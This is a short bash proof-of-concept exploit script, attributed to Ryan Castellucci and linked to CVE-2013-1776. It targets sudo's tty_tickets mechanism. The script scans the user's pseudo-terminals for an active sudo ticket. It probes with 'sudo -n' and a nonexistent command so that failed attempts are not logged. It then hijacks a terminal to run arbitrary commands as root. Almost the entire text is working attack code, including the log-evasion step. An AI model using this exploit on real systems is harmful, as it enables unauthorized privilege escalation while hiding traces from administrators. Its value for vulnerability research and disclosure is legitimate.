sudosudo.sh

#!/bin/bash
# PoC tty_tickets spoofing exploit by Ryan Castellucci
# Originally written October 2012, see CVE-2013-1776
# This does not implement using setsid to cause fallback

DUMMY=/does/not/exist/$RANDOM/$RANDOM/$RANDOM/$RANDOM
WAIT_LOOP=0

# Usage ./sudosudo.sh command [args]

while true
do
    # Find all ttys that the current user owns
    for t in `find /dev/pts -user $USER`; do
        # The -n flag avoids auth failures which would be logged
        # When sudo -n is run and would allow running a command without a
        # password, it will exit without logging if the command to run does
        # not exist
        sudo -n $DUMMY <$t 2>&1 | grep $DUMMY &>/dev/null
        if [ $? -eq 0 ]
        then
            echo active sudo ticket on $t, spoofing
            exec <$t
            exec sudo -n "$@"
            exit 255
        fi
    done
    if [ $WAIT_LOOP -eq 0 ]
    then
        echo no sudo tickets found, waiting for one
        WAIT_LOOP=1
    fi
    sleep 60
done